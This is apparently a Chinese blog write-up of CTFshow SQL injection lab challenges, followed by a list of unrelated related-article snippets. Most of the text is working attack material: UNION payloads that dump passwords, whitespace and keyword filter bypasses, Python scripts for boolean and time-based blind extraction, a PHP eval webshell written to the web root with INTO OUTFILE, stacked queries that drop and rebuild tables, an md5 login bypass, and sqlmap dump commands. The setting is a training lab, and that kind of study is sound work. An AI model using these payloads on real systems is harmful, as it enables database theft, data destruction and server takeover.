【Web】CTFSHOW SQL注入刷题记录(上)

目录

无过滤注入

web171

web172

web173

web174

web175

时间盲注

写马

过滤注入

web176

web177

web178

web179

web180

web181-182

web183

web184

web185-186

web187

web188

web189

web190

布尔盲注

web191

web192

web193

web194

堆叠注入

web195

web196

web197

web198

web199-200

sqlmap

web201

web202

web203

web204

web205


 

SQL注入知识清单

无过滤注入

web171

常规之常规,不解释

1' order by 3--+-1' union select 1,2,3--+-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_user" --+-1' union select 1,2,group_concat(password) from ctfshow_user --+

web172

查询输出时做了限制,会检测username那一栏是否有flag,那我们不查username就是了(

-1' union select 1,group_concat(password) from ctfshow_user2 --+

web173

查询输出的限制相当于在查询结果中不出现flag即可

上题payload改一改也能打

-1' union select 1,2,group_concat(password) from ctfshow_user3 --+

但这是出题人良心好,如果查询结果里就硬塞了一个flag怎么办呢

可以用下面这些方法

-1' union select 1,2,hex(group_concat(password)) from ctfshow_user3 --+

查询结果拖到Hex2text解码即可

-1' union select 1,2,to_base64(group_concat(password)) from ctfshow_user3 --+

查询结果拖到base64_decode解码即可

web174

这个过滤太初生了,查询结果直接就不能存在"flag"或数字

抓包发现api路径, 存在布尔盲注

随便写个脚本就好

import requestsurl = "http://1ab1425e-31a3-49ac-9d12-8e2c44b6ce0f.challenge.ctf.show/api/v4.php?id=1' and "result = ''for i in range(1,46,1):for j in range(32,128,1):payload = f'1=if(ascii(substr((select  password from ctfshow_user4 where username="flag"),{i},1))>{j},1,0) -- -'req=requests.get(url+payload)if "admin" not in req.text:result+=chr(j)print(result)break

运行拿到flag

web175

就是回显过滤了ASCII所有字符,基本就无回显了呗,两种思路

时间盲注

简单尝试发现回显都是查询错误(毕竟这个过滤太严格hhh),布尔盲注也没辙,于是用时间盲注。

发现存在时间盲注。

写个脚本就好(可以穷举可以二分,为方便理解我就用前者写了)

贴出一篇文章SQL 时间盲注应该使用二分查找吗? – I'm Nota!

import requestsurl = "http://9d22a1ab-4d02-4f59-a0ed-bac4b636fd54.challenge.ctf.show/api/v5.php?id=1' and "result = ''for i in range(1,46,1):for j in range(32,128,1):payload = f'if(ascii(substr((select  password from ctfshow_user5 where username="flag"),{i},1))>{j},sleep(1),0) -- -'try:req=requests.get(url=url+payload,timeout=0.5)except Exception as e:continueresult += chr(j)print(result)break

写马

-1' union select 1,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/1.php' --+

访问1.php发现成功写入

但flag在数据库里,所以要用蚁剑进行查库

过滤注入

web176

大写绕过即可

-1' union Select 1,2,group_concat(password) from ctfshow_user--+

web177

/**/绕过空格

-1'/**/union/**/select/**/1,2,group_concat(password)/**/from/**/ctfshow_user%23

web178

过滤了空格与*号,可以用%09,%0a,%0b,%0c,%0d,%a0绕过

-1'%09union%09select%091,2,group_concat(password)%09from%09ctfshow_user%23

web179

%09,%0a,%0b,%0d均被过滤,换%0c就行

-1'%0cunion%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23

web180

%23,--+被过滤,问题不大,反正加号也是被解析成空格,我们找个能用的空格就行

发现--%0c就可

-1'%0cunion%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user--%0c

web181-182

 我测,空格全被过滤了,这得极限构造啊

巧用括号

-1'or(id=26)and'1'='1

web183

post传参,返回值只有查询表pass这一列数据的数量

 过滤了空格,等号这些

 可以在from后面拼接where限定来进行盲注,=用regexp或like替代

写脚本即可,这里regexp可换成like,(ctfshow_user)可以换成`ctfshow_user`

import requests
import reurl = 'http://94871076-19eb-4291-81ed-c2733fdf2d5b.challenge.ctf.show/select-waf.php'
flagstr = r"{abcdefghijklmnopqrstuvwxyz-0123456789}"
res = ""for i in range(1,46):for j in flagstr:data = {'tableName': f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')"}r = requests.post(url, data=data)if re.search(r"user_count = 1;", r.text):res += jprint(res)break

web184

where和引号也被禁了,放出了空格,where可以用having替代,引号可以用16进制绕过

 字符转16进制的函数自己写一下就好

import requestsurl = 'http://02fe71c2-3ace-43bc-9dac-00dbbcfa5840.challenge.ctf.show/select-waf.php'flagstr = '{abcdefghijklmnopqrstuvwxyz-0123456789}'def str2hex(str):a = ""for x in str:a += hex(ord(x))[2:]return adef main():flag = ''for i in range(0, 40):for x in flagstr:data = {"tableName": "ctfshow_user group by pass having pass regexp 0x63746673686f77{}".format(str2hex(flag + x))}response = requests.post(url, data=data)if response.text.find("user_count = 1;") > 0:flag += xprint("ctfshow"+flag)breakelse:continueif __name__ == '__main__':main()

web185-186

数字也被过滤了,得考虑怎么构造出数字来

本地可以先试一试,通过以下方式便可以构造任意数字

现在我们都有数字了,为何不再大胆一点,构造出字母呢(不用引号也可)

select concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true))

事实上这是完全可以的,如下assic码配合char成功构造出了字母(Hello的H)

 下面写脚本即可

import requestsurl = "http://fdc9e7c5-9b02-4606-b8e1-2043aa27497f.challenge.ctf.show/select-waf.php"flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"def formatString(str):temp = "concat("for x in str:temp += char2ascii(x)return temp[:-1] + ")"def char2ascii(ch):num = ord(ch)temp = "char("for x in range(num):temp += "true+"return temp[:-1] + "),"def main():flag = "ctfshow"for i in range(0, 40):for x in flagstr:data = {"tableName": "ctfshow_user group by pass having pass regexp {}".format(formatString(flag + x))}response = requests.post(url, data=data)if response.text.find("user_count = 1;") > 0:flag += xprint(flag)breakelse:continueif __name__ == '__main__':main()

web187

典,一眼md5注入

 特殊字符串ffifdyop在md5后会变成'or'6�]��!r,��b

拼接后就变成

select count(*) from ctfshow_user where username = 'admin' and password= ''or'6'

就可以作为admin登录

拿到flag

web188

弱类型比较,比较巧

用户名密码均输入0即可

web189

给出提示

在 SQL 中,LOAD_FILE() 函数用于从文件系统中读取文件的内容并返回结果。它返回一个字符串值,其中包含指定文件的内容。 

经过测试发现输入0和非0的数字时回显不同(弱类型比较你懂的)

 利用这点我们可以进行布尔盲注

直接写脚本

import requestsurl = "http://c5f6fca9-5745-44a2-8868-e8ef4c90dec8.challenge.ctf.show/api/"
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"flag = ""
for i in range(264, 264 + 58):for j in flagstr:data = {"username": "if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i, j),"password": "0"}response = requests.post(url, data=data)if response.text.find("8d25") > 0:flag += jprint(flag)breakelse:continue

web190

简单测出回显不同可以布尔盲注

 

写脚本直接打

import requestsurl = "http://073ec861-5a16-4dbc-8e14-bb92d3298ab6.challenge.ctf.show/api/"
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"flag = ""
for i in range(1,46,1):for j in range(32,128,1):# payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,j)# ctfshow_web# payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,j)# ctfshow_fl0g# payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,j)# id,f1agpayload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i, j)data = {"username": payload,"password": "0"}response = requests.post(url, data=data)if response.text.find("u8bef") > 0:flag += chr(j-1)print(flag)breakelse:continue

布尔盲注

web191

过滤了ascii,问题不大,脚本换成ord就可

import requestsurl = "http://1a5fb4a5-6440-431e-9064-d46f904d5520.challenge.ctf.show/api/"
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"flag = ""
for i in range(1,46,1):for j in range(32,128,1):# payload = "admin'and (ord(substr((select database()),{},1))<{})#".format(i,j)# ctfshow_web# payload = "admin'and (ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,j)# ctfshow_fl0g# payload = "admin'and (ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,j)# id,f1agpayload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i, j)data = {"username": payload,"password": "0"}response = requests.post(url, data=data)if response.text.find("u8bef") > 0:flag += chr(j-1)print(flag)breakelse:continue

web192

ord和hex也过滤了

问题不大,直接用字符也行

继续写脚本

import requestsurl = "http://cef6be72-f15d-488a-8d1a-2c4828d19126.challenge.ctf.show/api/"
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"flag = ''
for i in range(1,46):for j in flagstr:payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1) regexp '{j}',1,0)='1"data = {'username': payload,'password': '1'}r = requests.post(url, data=data)if r.text.find("u8bef") > 0:flag += jprint(flag)breakelse:continue

web193

多过滤了substr,相当于连带着substring也被ban了,不过问题不大,换成left即可

LEFT() 函数的语法: 

LEFT(original_string, length)

original_string 是要从左侧返回子字符串的原始字符串,而 length 则是要返回的子字符串的长度。如果 original_string 的长度小于 length,则将返回整个字符串。

import requestsurl = "http://91d8f471-1557-4a54-9fd2-7fe7c8ed192b.challenge.ctf.show/api/"
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"flag = ''
for i in range(1,46):for j in flagstr:payload = f"admin'and ((left((select f1ag from ctfshow_flxg),{i})='{flag+j}'))#"data = {'username': payload,'password': '1'}r = requests.post(url, data=data)if r.text.find("u8bef") > 0:flag += jprint(flag)breakelse:continue

web194

left和right都被过滤,问题不大,可以用lpad

在 SQL 中,LPAD() 函数用于将指定字符添加到字符串的左侧,以使字符串达到指定的长度。它接受三个参数:原始字符串、目标长度和要添加的字符。

LPAD() 函数的语法:

LPAD(original_string, target_length, pad_character)

其中,original_string 是要填充的原始字符串,而 target_length 则是要填充后的目标长度。如果 original_string 的长度大于或等于 target_length,则不会进行填充。pad_character 则是要添加的字符,通常是空格或零。

例如:

写脚本

import requestsurl = "http://891cc70a-a028-4423-b01c-8e7526274dc0.challenge.ctf.show/api/"
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"flag = ''
for i in range(1,46):for j in flagstr:payload = f"admin'and ((lpad((select f1ag from ctfshow_flxg),{i},'')='{flag+j}'))#"data = {'username': payload,'password': '1'}r = requests.post(url, data=data)if r.text.find("u8bef") > 0:flag += jprint(flag)breakelse:continue

堆叠注入

web195

select被ban,可以用update来修改密码

username=1;update`ctfshow_user`set`pass`=1&password=1
username=0&password=1

web196

 加了限长

 

 这里waf和题述有出入,跟wp打就好

username=1;select(401)&password=401

web197

CURD基本没咋过滤,自由飞翔即可

username=0;drop%20table%20ctfshow_user;create%20table%20ctfshow_user(`username`%20varchar(100),`pass`%20varchar(100));insert%20ctfshow_user(`username`,`pass`)%20value(1,1)&password=1username=1&password=1

 删除旧表,自建新表

web198

drop和create均被过滤,我们可以对alert来动文章

 把pass列和id列的名字互换一下,方便我们爆破密码(原id)

因为查询语句是这样写的:

所以username可以写成 0x61646d696e(admin的十六进制),也可写成0

import requestsurl = "http://22e80a01-5862-48d6-a71b-d4d5404f0fc9.challenge.ctf.show/api/"
for i in range(100):if i == 0:data = {'username': '0;alter table ctfshow_user change column `pass` `try` varchar(255);alter table ctfshow_user ''change column `id` `pass` varchar(255);alter table ctfshow_user change column `try` `id` ''varchar(255);','password': f'{i}'}r = requests.post(url, data=data)data = {'username': 0 ,'password': f'{i}'}r = requests.post(url, data=data)if "登陆成功" in r.json()['msg']:print(r.json()['msg'])break

web199-200

多过滤了括号,varchar(255)相当于被ban了,那我们可以找text和int这些不含括号的类型替代

import requestsurl = "http://73e133a7-3fcc-4fea-b371-d9c4ae32b597.challenge.ctf.show/api/"
for i in range(100):if i == 0:data = {'username': "0;alter table ctfshow_user change column pass tmp text;alter table ctfshow_user change column id pass int;alter table ctfshow_user change column tmp id text",'password': f'{i}'}r = requests.post(url, data=data)data = {'username': 0 ,'password': f'{i}'}r = requests.post(url, data=data)if "登陆成功" in r.json()['msg']:print(r.json()['msg'])break

sqlmap

web201

sqlmap是自带UA的,这个我们先不管

python sqlmap.py -u "http://d7845b90-ab09-414c-a47f-74013584c2af.challenge.ctf.show/api/?id=1" --referer="ctf.show"python sqlmap.py -u "http://d7845b90-ab09-414c-a47f-74013584c2af.challenge.ctf.show/api/?id=1" --referer="ctf.show" --dbspython sqlmap.py -u "http://d7845b90-ab09-414c-a47f-74013584c2af.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web --tablespython sqlmap.py -u "http://d7845b90-ab09-414c-a47f-74013584c2af.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

web202

post方式传参

python sqlmap.py -u "http://7f4b03f9-855e-40da-aa57-77ea82915f59.challenge.ctf.show/api/" --referer="ctf.show" --data="id=1" -D ctfshow_web -T ctfshow_user --dump

web203

put方式传参

python sqlmap.py -u "http://7265684e-386e-4acc-9773-b7c0aca1758b.challenge.ctf.show/api/" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --dbms=mysql -D ctfshow_web -T ctfshow_user  --dump

web204

python sqlmap.py -u "http://e719eb49-08d2-48b8-b94f-ce1579528d31.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=0a4c2l8f3h7hflqnlvcmd280uv; ctfshow=5e70f0551adc58e6a35875473d0fdb00" --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web205

随便提交一次看一下网络请求,发现getToken.php

或者抓包看也可

python sqlmap.py -u "http://7e61be9f-7631-4777-9c50-965d548a1f3a.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=plsavtqfneb8l5io7db5knu7q6" --referer=ctf.show -D ctfshow_web --safe-url="http://7e61be9f-7631-4777-9c50-965d548a1f3a.challenge.ctf.show/api/getToken.php" --safe-freq=1 -T ctfshow_flax --dump

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/649425.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

找出字符串中第一个匹配项的下标

给你两个字符串 haystack 和 needle &#xff0c;请你在 haystack 字符串中找出 needle 字符串的第一个匹配项的下标&#xff08;下标从 0 开始&#xff09;。如果 needle 不是 haystack 的一部分&#xff0c;则返回 -1 。 示例 1&#xff1a; 输入&#xff1a;haystack &qu…

a-table自定义展开图标

原文来自&#xff1a;vue 修改ant中table表格的展开图标 树形表格expandIcon自定义图标 <template #expandIcon"props"><span v-if"props.record.children?.length > 0"><divv-if"props.expanded"style"display: inline…

作用力(Force)和压力(Pressure)的区别

一般&#xff0c;力和压力在方向以及数值大小给的准确的情况下是可以通用的&#xff0c; 但是相对而言&#xff0c;力比压力的给定方便一点&#xff0c;考虑的东西可以少一点&#xff0c; 对于流体的分析&#xff0c;应该给与压力去进行分析。 力的方向一般是恒定的&#xff…

Java线程池七大核心参数

Java面试题 线程池七大核心参数 corePoolSize:即使空闲&#xff0c;也要保留在池中的线程数&#xff0c;除非设置allowCoreThreadTimeOutmaximumPoolSize:线程池中允许的最大线程数。keepAliveTime:当线程数大于核心时&#xff0c;多余空闲线程在终止前等待新任务的最长时间un…

2024水资源、智慧城市与绿色发展国际会议(ICWRSCGD 2024)

2024水资源、智慧城市与绿色发展国际会议(ICWRSCGD 2024) 会议简介 2024年国际水资源、智慧城市与绿色发展大会&#xff08;ICWRSCGD 2024&#xff09;将在中国杭州举行。会议聚焦“水资源、智慧城市、绿色发展”这一最新研究领域&#xff0c;致力于促进世界顶级创新者、科学…

LeeCode 560.和为K的子数组

给你一个整数数组 nums 和一个整数 k &#xff0c;请你统计并返回 该数组中和为 k 的子数组的个数 。 子数组是数组中元素的连续非空序列。 示例 1&#xff1a; 输入&#xff1a;nums [1,1,1], k 2 输出&#xff1a;2 示例 2&#xff1a; 输入&#xff1a;nums [1,2,3]…

YOLOv8训练自己的数据集,通过LabelImg

记录下labelImg标注数据到YOLOv8训练的过程,其中容易遇到labelImg的坑 数据集处理 首先在mydata下创建4个文件夹 images文件夹下存放着所有的图片&#xff0c;包括训练集和测试集等。后续会根据代码进行划分。 json文件夹里存放的是labelImg标注的所有数据。需要注意的是&…

MySQL笔记-information_schema库中COLUMNS表的一些笔记

mysql建表中可以添加comment&#xff0c;也就是注释&#xff0c;这些注释会写到information_schema库的COLUMNS表中&#xff0c;可以使用如下SQL语句进行查询&#xff1a; SELECT COLUMN_NAME, COLUMN_COMMENT FROM information_schema.COLUMNS WHERE TABLE_SCHEMA your_data…

2024年第四届智能机器人与系统国际会议(ISoIRS 2024) | EI、Scopus双检索

会议简介 Brief Introduction 2024年第四届智能机器人与系统国际会议(ISoIRS 2024) 会议时间&#xff1a;2024年6月14日-16日 召开地点&#xff1a;中国长沙 大会官网&#xff1a;www.isoirs.org ISoIRS 2024将围绕“智能机器人与系统”的最新研究领域展开&#xff0c;为研究人…

将Html页面转换为Wordpress页面

问题&#xff1a;我们经常会从html源码下载网站上获得我们想要的网站内容框架&#xff0c;以及部分诸如联系我们&#xff0c;About 等内页&#xff0c;但是在文章的发布上&#xff0c;则远不如Wordpress简便。而Wordpress尽管有各种模板&#xff0c;但修改又比较麻烦。解决方法…

JDWP 协议及实现

JDWP 的协议细节并通过实际调试中的例子展开揭示 JDWP 的实现机制,JDWP 是 Java Debug Wire Protocol 的缩写,它定义了调试器(debugger)和被调试的 Java 虚拟机(target vm)之间的通信协议。 JDWP 协议介绍 这里首先要说明一下 debugger 和 target vm。Target vm 中运行…

对读取的Excel文件数据进行拆分并发请求发送到后端服务器

首先&#xff0c;我们先回顾一下文件的读取操作&#xff1a; 本地读取Excel文件并进行数据压缩传递到服务器-CSDN博客 第一步&#xff1a;根据以上博客&#xff0c;我们将原先的handleFile方法&#xff0c;改为以下内容&#xff1a; const handleFile async(e) > {conso…

15. GPIO 应用编程

15. GPIO 应用编程 1. 应用层如何操控 GPIO2. GPIO 应用编程之输出3. GPIO 应用编程之输入4. GPIO 应用编程之中断 1. 应用层如何操控 GPIO GPIO 也是通过 sysfs 方式进行操控的&#xff0c;在/sys/class/gpio目录下 gpiochipX: I.MX6UL 有 5 个 GPIO&#xff0c;X 由小到大…

驱动开发-系统移植

一、Linux系统移植概念 需要移植三部分东西&#xff0c;Uboot ,内核 &#xff0c;根文件系统 &#xff08;rootfs&#xff09; &#xff0c;这三个构成了一个完整的Linux系统。 把这三部分学明白&#xff0c;系统移植就懂点了。 二、Uboot uboot就是引导程序下载的一段代…

【测一测】Jmeter知识大挑战!

不定项选择 1、Ramp-up period(seconds)代表在多长时间内把线程全部启动&#xff0c;如果线程数为10&#xff0c;而Ramp-up period设置为15&#xff0c;则每个线程的间隔时间为&#xff08;&#xff09; A、1 B、1.5 C、2 D、102、对于每个HTTP请求&#xff0c;都可以通过&am…

SQL - 数据控制语句

SQL - 数据控制语句 DCL - 数据控制 数据控制语言&#xff1a;Data Control Language。用来授权或回收访问数据库的某种特权&#xff0c;并控制数据库操纵事务发生的时间及效果&#xff0c;能够对数据库进行监视。 比如常见的授权、取消授权、回滚、提交等等操作。 权限管理…

数字图像处理(实践篇)三十 使用OpenCV-Python在图像上创建水印实践

目录 1 方案 2 实践 1 方案 ①导入依赖库 import cv2 import matplotlib.pyplot as plt ②读取输入图片和水印图片 im = cv2.imread(img_path) wm = cv2.imread(watermarkImg_path) ③计算roi

linux下jdb远程调试tomcat源码

jdb远程调试tomcat 在tomcat打开调试设置jvm参数 -Xrunjdwp:transportdt_socket,servery,address9090,suspendy在linux命令行jdb连接9090端口 jdb -attach ip:9090 -sourcepath /softwares/apache-tomcat-7.0.40-src/java设置断点 stop at org.apache.tomcat.util.Introspectio…

如何在云服务上通过docker部署服务?

如何在云服务上通过docker部署服务&#xff1f; 一、在云服务器上安装Docker1、查看云服务器的OS信息2、[安装Docker并使用&#xff08;Linux&#xff09;](https://help.aliyun.com/zh/ecs/use-cases/deploy-and-use-docker-on-alibaba-cloud-linux-2-instances) 二、通过dock…

【一次性解决】CUDA和PyTorch的安装与多版本管理的三种方式

很多人配置环境就是直接安装三件套&#xff0c;而对于版本管理不是很清楚。在开发初期&#xff0c;这样做没什么问题。但是如果服务器多人使用&#xff0c;或者复现代码多&#xff08;pytorch版本和cuda版本是互相依赖的&#xff09;&#xff0c;就需要更进一步的版本管理方法。…